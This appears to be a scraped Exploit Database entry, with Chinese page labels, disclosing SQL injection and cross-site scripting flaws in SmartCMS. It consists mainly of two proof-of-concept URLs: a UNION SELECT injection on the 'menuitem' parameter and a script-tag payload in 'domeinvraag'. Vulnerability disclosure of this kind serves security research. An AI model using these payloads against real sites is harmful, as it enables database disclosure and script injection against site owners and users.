SmartCMS – ‘/index.php?menuitem’ SQL Injection / Cross-Site Scripting

• Exploit Database
• 9 阅读

• 作者： Yakir Wizman
  日期： 2012-11-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/23029/

• ##########################################################################
  ## SmartCMS SQL Injection & Cross Site Scripting Vulnerabilities
  ## Bug discovered by Yakir Wizman AKA Pr0T3cT10n, <yakir.wizman@gmail.com>
  ## Date: 29/11/2012
  ## Version: ALL
  ## Vendor Link: http://smartcms.nl/
  ## ISRAEL
  ##########################################################################
  ##Author will be not responsible for any damage.
  ##########################################################################
  ## SQL Injection PoC:
  ## http://www.example.com/index.php?menuitem=29+AND+1=2+UNION+ALL+SELECT+version()--
  ## Cross Site Scripting PoC:
  ## http://www.example.comindex.php?menuitem=26&domeinvraag=<script>alert(1);</script>&aktie=Zoek&idx=23
  ##########################################################################
  # 0x31337.net
  ##########################################################################